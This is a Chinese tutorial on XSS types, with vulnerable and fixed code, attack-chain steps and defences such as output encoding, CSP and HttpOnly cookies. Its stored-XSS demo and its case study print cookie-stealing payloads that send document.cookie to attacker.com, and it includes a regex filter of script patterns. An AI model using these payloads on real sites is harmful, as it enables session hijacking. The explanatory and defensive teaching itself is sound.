常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
在Web应用安全中,跨站脚本攻击(Cross-Site Scripting, XSS)是攻击者利用浏览器漏洞,在用户浏览页面时注入恶意脚本,从而窃取会话Cookie、劫持用户会话或篡改页面内容的高频攻击手段。据OWASP统计,XSS在2021年“OWASP Top 10”中位列第7,至今仍是前端安全的主要威胁之一。本文将结合代码示例,解析XSS的三大核心类型、攻击原理及开发者必学的防御技术。
一、XSS的本质:浏览器的“信任背叛”
XSS的核心原理是:攻击者在Web页面中注入恶意JavaScript/VBScript/HTML代码,当用户浏览器加载该页面时,恶意代码被执行,从而利用浏览器的信任发起攻击。其本质是浏览器对“同源策略”的局部突破(同源策略规定不同源的脚本无法相互访问,但XSS利用合法页面的源执行恶意代码)。
二、XSS的三大核心类型及代码演示
1. 反射型XSS(Reflected XSS)
核心特点
- 恶意代码嵌入在URL参数或表单中,随服务器响应反射给用户浏览器,不存储在服务器端;
- 攻击依赖用户主动点击恶意链接,常见于搜索框、登录页面等交互场景。
漏洞代码示例(Node.js)
// 漏洞代码:未对搜索参数进行转义
app.get('/search', (req, res) => { const keyword = req.query.q; res.send(`<h1>搜索结果:${keyword}</h1>`);
});
攻击演示
- 恶意链接:
http://example.com/search?q=<script>alert('XSS');</script>
- 浏览器解析后执行脚本,弹出警告框(实际攻击中会窃取Cookie:
document.cookie
)。
修复方案
// 修复:使用HTML转义库(如xss-clean)
const xss = require('xss-clean');
app.use(xss()); // 全局中间件自动转义危险字符
app.get('/search', (req, res) => { const keyword = req.sanitizedQuery.q; // 自动转义后的参数 res.send(`<h1>搜索结果:${keyword}</h1>`);
});
2. 存储型XSS(Stored XSS)
核心特点
- 恶意代码存储在服务器数据库中(如用户评论、帖子内容),所有访问该页面的用户都会触发攻击;
- 危害更大,常被用于钓鱼攻击、会话劫持等长期潜伏场景。
漏洞代码示例(PHP)
// 漏洞代码:未过滤用户提交的评论内容
if ($_SERVER['REQUEST_METHOD'] === 'POST') { $comment = $_POST['comment']; $sql = "INSERT INTO comments (content) VALUES ('$comment')"; // 直接存入数据库,未做任何过滤
}
攻击演示
- 用户提交评论:
<script>document.location='http://attacker.com/steal-cookie.php?cookie='+document.cookie;</script>
- 其他用户浏览该页面时,脚本自动发送Cookie到攻击者服务器。
修复方案
// 修复:入库前对内容进行HTML转义+输出时二次转义
function sanitize($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
// 入库前转义
$comment = sanitize($_POST['comment']);
// 输出时无需再次转义(已转义的内容会被浏览器视为文本)
echo '<div class="comment">' . $comment . '</div>';
3. DOM型XSS(DOM-Based XSS)
核心特点
- 攻击不依赖服务器端响应,而是通过修改浏览器端的DOM树,利用JavaScript动态加载恶意内容;
- 漏洞存在于前端代码中,常见于
innerHTML
、eval()
等危险API的不当使用。
漏洞代码示例(JavaScript)
<!-- 漏洞代码:使用innerHTML动态插入用户输入 -->
<input id="name" type="text">
<button onclick="greet()">提交</button>
<script>
function greet() { const name = document.getElementById('name').value; document.getElementById('output').innerHTML = `<h1>你好,${name}!</h1>`;
}
</script>
<div id="output"></div>
攻击演示
- 输入框填入:
<script>alert('XSS');</script>
innerHTML
动态插入恶意脚本,触发弹窗。
修复方案
<!-- 修复:使用textContent替代innerHTML(不解析HTML) -->
<script>
function greet() { const name = document.getElementById('name').value; document.getElementById('output').textContent = `你好,${name}!`; // 仅插入文本
}
</script>
三、XSS攻击链解析:从代码漏洞到用户劫持
-
漏洞发现:
- 攻击者通过扫描Web页面,寻找未过滤的输入点(如
GET
参数、表单提交、动态DOM操作)。
- 攻击者通过扫描Web页面,寻找未过滤的输入点(如
-
代码注入:
- 反射型:将恶意脚本嵌入URL(如搜索参数、登录redirect参数);
- 存储型:通过注册用户、发表评论等功能,将脚本存入服务器数据库;
- DOM型:利用前端代码中的
innerHTML
、eval()
等API,诱导用户触发脚本执行。
-
用户触发:
- 用户访问包含恶意脚本的页面,浏览器加载并执行脚本(无需用户显式点击,存储型XSS会自动触发)。
-
权限窃取:
- 恶意脚本读取用户Cookie(如
document.cookie
)、会话令牌(Session Token),或获取浏览器环境信息(如navigator.userAgent
)。
- 恶意脚本读取用户Cookie(如
-
攻击实施:
- 会话劫持:通过窃取的Cookie模拟用户身份,执行转账、修改密码等操作;
- 钓鱼攻击:篡改页面内容,显示虚假登录表单,骗取用户敏感信息;
- 漏洞利用链:结合其他漏洞(如CSRF),形成复合攻击。
四、开发者必学的“XSS防御六要素”
1. 输入验证:拒绝恶意字符
实现方法
- 对用户输入的所有字段(如URL参数、表单内容、Cookie值)进行严格校验,只允许特定字符(如字母、数字、部分符号);
- 使用正则表达式过滤危险字符(如
<script>
,onerror
,javascript:
)。
// JavaScript输入验证示例
function validateInput(input) { const forbiddenPattern = /<script>|onload|javascript:/i; return forbiddenPattern.test(input) ? '' : input;
}
2. 输出编码:让恶意代码“失效”
核心原则
- HTML转义:将
<
转为<
,>
转为>
,"
转为"
,确保用户输入被浏览器视为文本而非代码; - JavaScript转义:在动态生成JavaScript代码时,使用
JSON.stringify()
对用户输入进行转义。
// 正确:使用textContent(自动转义HTML)
element.textContent = userInput;
// 错误:使用innerHTML(可能执行恶意脚本)
element.innerHTML = userInput;
3. 内容安全策略(CSP):限制脚本来源
配置方法
- 通过HTTP头或Meta标签声明允许加载的资源来源,阻止加载非信任域的脚本。
<!-- 推荐:在HTML头部添加CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com;">
- 关键指令:
script-src 'self'
:仅允许加载本站和指定域名(如CDN)的脚本;img-src *
:允许加载任何来源的图片(根据业务需求调整)。
4. 避免危险API的滥用
高危操作清单
危险API | 安全替代方案 |
---|---|
innerHTML | textContent (仅插入文本) |
eval() | 避免使用,改用安全的解析方法 |
document.write() | 页面加载完成后禁止使用 |
动态拼接URL | 使用URLSearchParams 类 |
5. 使用安全框架与库
现代框架的安全特性
- React/Vue/Angular:默认对用户输入进行HTML转义,避免XSS(如
{userInput}
会自动转义,等同于textContent
); - Node.js中间件:使用
helmet
、xss-clean
等库,自动过滤危险字符(如Express框架的express-xss-sanitizer
)。
6. 会话管理强化
防御会话劫持
- Cookie属性:为Cookie设置
HttpOnly
(防止JavaScript读取)、Secure
(仅HTTPS传输)、SameSite=Strict
(阻止跨站请求);// Express设置安全Cookie示例 res.cookie('sessionId', sessionToken, { httpOnly: true, secure: true, sameSite: 'strict' });
- 验证码机制:对高风险操作(如修改密码、绑定邮箱)添加验证码,增加攻击成本。
五、典型案例:某社交平台存储型XSS事件(2022年)
事件经过
某知名社交平台的用户评论功能存在存储型XSS漏洞,攻击者通过发布包含以下代码的评论:
<img src=x onerror="fetch('https://attacker.com/steal-cookie.php?cookie='+document.cookie)">
当其他用户浏览该评论时,浏览器自动向攻击者服务器发送Cookie,导致超10万用户的会话令牌泄露。攻击者利用这些令牌登录用户账户,发布钓鱼广告、关注垃圾账号,平台被迫紧急下线评论功能进行修复。
漏洞根源
- 服务器端未对评论内容进行HTML转义,直接存入数据库;
- 前端渲染时使用
innerHTML
加载评论内容,未做二次过滤。
六、XSS与其他攻击的核心区别
特征 | XSS | SQL注入 | CSRF |
---|---|---|---|
攻击对象 | 浏览器(客户端) | 数据库(服务器端) | 浏览器(会话令牌) |
代码执行 | 依赖浏览器执行恶意脚本 | 依赖数据库解析SQL语句 | 依赖用户浏览器自动携带Cookie |
防御核心 | 输入输出编码+CSF策略 | 参数化查询+输入验证 | 令牌校验+Referer检查 |
典型场景 | 评论区、搜索框 | 登录表单、数据库查询 | 转账按钮、修改密码表单 |
七、总结:构建“前端+后端”的立体防御体系
XSS的本质是“用户输入被错误地当作代码执行”,其防御需要前端与后端的协同作战:后端负责输入验证和数据清洗,前端通过安全API和CSP策略阻止脚本执行,同时借助现代框架的内置安全特性减少人为失误。对于开发者而言,应始终遵循“默认不信任任何用户输入”的原则,将XSS防御纳入Web开发的每个环节(从需求分析到上线部署)。
下一篇文章将聚焦“入侵检测系统(IDS)与入侵防御系统(IPS)”,解析如何通过流量监控和实时阻断技术,构建网络安全的“第二道防线”。
相关文章:
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护 在Web应用安全中,跨站脚本攻击(Cross-Site Scripting, XSS)是攻击者利用浏览器漏洞&#x…...

QT多元素控件及其属性
Qt中提供的多元素控件有: QListWidget QListView QTableWidget QTableView QTreeWidget QTreeView widget和view多元素控件的区别: view是更底层的实现,widget是基于view封装而来,view是MVC结构的一种典型实现 MVC结构&am…...

如何快速高效学习Python?
如何快速高效学习Python? How to Fastly and Effectively Learn Python Programming? By JacksonML 1. Python年轻吗? Python自1991年诞生到现在,已经经历了三十四年或者更长时间了。毕竟,Python之父 – 吉多范罗苏姆先生(Gu…...

【网络原理】TCP提升效率机制(二):流量控制和拥塞控制
目录 一. 前言 二. 流量控制 三. 拥塞控制 一. 前言 TCP的可靠传输依靠确认应答机制,超时重传机制是对确认应答的一种补充,解决了丢包问题 为了提高传输效率,避免大量的时间都浪费在等待应答的过程,故引入了滑动窗口机制&…...

语音合成之六端到端TTS模型的演进
端到端TTS模型的演进 引言Tacotron:奠基之作FastSpeech:解决效率瓶颈VITS:实现高保真和富有表现力的语音SparkTTS:利用LLM实现高效可控的TTSCosyvoice:一种可扩展的多语种TTS方法端到端TTS模型的演进与未来方向 引言 …...

Properties配置文件
Properties(是一个特殊的Map)默认键值都是String类型 备注:Properties能调用Map中的所有方法,但由于放入Properties中的key-value都是String类型,Properties中提供了特殊的存值和取值的方法,所以尽量不要用Map中的方法,如下 Properties的作用 A、将内存中的数据写入到…...
C#高级语法--接口
先引用一些通俗一点的话语说明 1. 接口就像“插座标准”(解耦) 🧩 场景: 你家的手机充电器(USB-C、Lightning)必须插进匹配的插座才能充电。问题:如果每个手机品牌插座都不一样,你换手机就得换充电器,太麻烦了!💡 接口的作用: 定义一个通用的充电口标准(比如U…...
5.6 Microsoft Semantic Kernel:专注于将LLM集成到现有应用中的框架
5.6.1 Semantic Kernel概述 Microsoft Semantic Kernel(以下简称SK)是一个开源的软件开发工具包(SDK),旨在帮助开发者将大型语言模型(LLM)无缝集成到现有的应用程序中。它支持C#、Python和Java…...

【尚硅谷Redis6】自用学习笔记
Redis介绍 Redis是单线程 多路IO复用技术(类似黄牛买票) 默认有16个库,用select进行切换 默认端口号为6379 Memcached:多线程 锁(数据类型单一,不支持持久化) 五大常用数据类型 Redis key …...

Vue里面elementUi-aside 和el-main不垂直排列
先说解决方法 main.js少导包 import element-ui/lib/theme-chalk/index.css; //加入此行即可 问题复现 排查了一个小时终于找出来问题了,建议导包去看官方的文档,作者就是因为看了别人的导包流程导致的问题 导包官网地址Element UI导包快速入门...

VS Code搭建C/C++开发环境
文章目录 一、VScode 是什么?二、VScode的下载和安装1、下载2、安装 三、环境介绍1、安装中文插件 四、VScode配置 C/C开发环境1、下载MinGW-w64 编译器套件2、配置MingGW643、验证4、安装C/C插件 五、在VSCode上编写C语言代码并编译成功1、打开文件夹2、新建C语言文件&#x…...
6.ArkUI Row的介绍和使用
ArkUI Row 组件介绍与使用指南 什么是 Row 组件? Row 是 ArkUI 中的基础布局容器组件,用于水平(横向)排列子组件。它与 Column 组件相对应,是构建用户界面最常用的布局方式之一,类似于其他UI框架中的水平…...

mysql 在 dbeaver中下载驱动失败处理
直接上解决方法 1. 在mysql官网下载驱动 2. 引入dbeaver中即可 3. 最后再双击即可...

Java 安全:如何防止 SQL 注入与 XSS 攻击?
Java 安全:如何防止 SQL 注入与 XSS 攻击? 在 Java 开发领域,安全问题至关重要,而 SQL 注入和 XSS 攻击是两种常见的安全威胁。本文将深入探讨如何有效防止这两种攻击,通过详细代码实例为您呈现解决方案。 一、SQL 注…...

fastbev mmdetection3D 角度和方向损失
角度/方向损失 sin(a−b)sinacosb−cosasinb config参数 dir_offset0.7854, # pi/4 dir_limit_offset0, box编解码 # Copyright (c) OpenMMLab. All rights reserved. import torchfrom mmdet.core.bbox import BaseBBoxCoder from mmdet.core.bbox.builder import BBOX_COD…...
力扣-hot100(滑动窗口最大值)
239. 滑动窗口最大值 困难 给你一个整数数组 nums,有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。 返回 滑动窗口中的最大值 。 示例 1: 输入:nums […...

一种专用车辆智能配电模块的设计解析:技术革新与未来展望
关键词:智能配电模块、STM32、CAN总线、电子开关、新能源汽车 引言:传统配电系统的痛点与智能化转型 传统配电系统依赖继电器和保险丝,存在体积大、寿命短、智能化低等缺陷(如图1)。而新能源汽车和无人驾驶技术对配电…...

《深入浅出ProtoBuf:从环境搭建到高效数据序列化》
ProtoBuf详解 1、初识ProtoBuf2、安装ProtoBuf2.1、ProtoBuf在Windows下的安装2.2、ProtoBuf在Linux下的安装 3、快速上手——通讯录V1.03.1、步骤1:创建.proto文件3.2、步骤2:编译contacts.proto文件,生成C文件3.3、步骤3:序列化…...

Java实现加密(七)国密SM2算法的签名和验签(附商用密码检测相关国家标准/国密标准下载)
目录 一、国密标准中,关于SM2签名验签的定义二、SM2签名和验签的实现原理1. 前置知识2. 签名生成过程3. 验签过程4. 数学正确性证明5. 安全性与注意事项 三、带userId、不带userId的区别1. 核心区别2.算法区别(1) 哈希计算过程(2) 签名验签流程 四、Java代码实现1. …...

【华为HCIP | 华为数通工程师】821—多选解析—第十七页
多选835、IS-IS协议所使用的NSAP地址主要由哪几个部分构成? A、AREA ID B、SEL C、DSCp D、SYSTEM ID 解析:NSAP地址:网络服务访问点(Network Service Access Point)是 OSI 协议中用于定位资源的地址。NSAP 的地址结构如图所示,它由 IDP(Initial Domain …...

函数的定义与使用(python)
lst[:]是传入lst的拷贝。改变它对原始lst没有任何影响。 *list一个*的元素在函数体内会被当成一个元组。 以下是对图中 Python 代码的详细解释: 代码总体功能 这段代码定义了一个生成器函数 getItem ,用于依次返回多个列表中的元素。然后通过循环遍历…...

List findIntersection getUnion
List findIntersection & getUnion 求两个列表的交集和并集 package zwf;import java.util.ArrayList; import java.util.LinkedHashSet; import java.util.List;/*** 列表工具类* * author ZengWenFeng* date 2025.04.22* mobile 13805029595* email 117791303qq.com*/ p…...

乒乓操作(Ping-Pong)
乒乓操作 “ 乒乓操作” 是一个常常应用于数据流控制的设计思想, 典型的乒乓操作方法如下图 所示: T1周期,输入数据流1缓存到数据缓冲模块1中,如上图棕色;T2周期,输入数据流2缓存到数据缓冲模块2中&…...

微信小程序文章管理系统开发实现
概述 在内容为王的互联网时代,高效的文章管理系统成为各类平台的刚需。幽络源平台今日分享一款基于SSM框架开发的微信小程序文章管理系统完整解决方案,该系统实现了多角色内容管理、智能分类、互动交流等功能。 主要内容 一、用户端功能模块 多角…...

GrassRouter 小草MULE多5G多链路聚合通信路由设备在应急场景的聚合效率测试报告及解决方案
在应急通信场景中,快速、稳定、高效的通信链路是保障救援工作顺利开展的关键。MULE(Multi-Link Unified Link Enhancement)多链路聚合路由通信设备作为一种新型的通信技术解决方案,通过聚合多条通信链路(如4G/5G、卫星…...
筑牢数字防线:商城系统安全的多维守护策略
一、构建网络安全防护屏障 网络安全是商城系统安全的第一道防线。企业应采用先进的防火墙技术,实时监控和过滤进出网络的流量,阻止非法访问和恶意攻击。入侵检测与防御系统(IDS/IPS)也是不可或缺的安全组件,它能够及…...
Linux阻塞与非阻塞I/O:从原理到实践详解
Linux阻塞与非阻塞I/O:从原理到实践详解 1. 阻塞与非阻塞I/O基础概念 1.1 阻塞与非阻塞简介 在Linux系统编程中,I/O操作可以分为两种基本模式:阻塞I/O和非阻塞I/O。这两种模式决定了当设备或资源不可用时,程序的行为方式。 阻…...

【MySQL】MySQL索引与事务
目录 前言 1. 索引 (index) 1.1 概念 1.2 作用 1.3 使用场景 1.4 索引的相关操作 查看索引 创建索引 删除索引 2. 索引背后的数据结构 2.1 B树 2.2 B+树的特点 2.3 B+树的优势 3. 事务 3.1 为什么使用事务 3.2 事…...

华为网路设备学习-19 IGP路由专题-路由策略
一、 二、 注意: 当该节点匹配模式为permit下时,参考if else 当该节点匹配模式为deny下时: 1、该节点中的apply子语句不会执行。 2、如果满足所有判断(if-match)条件时,拒绝该节点并跳出(即不…...
力扣-234.回文链表
题目描述 给你一个单链表的头节点 head ,请你判断该链表是否为回文链表。如果是,返回 true ;否则,返回 false 。 class Solution { public:bool isPalindrome(ListNode* head) {//快慢指针找到中间结点p1(偶数个结点…...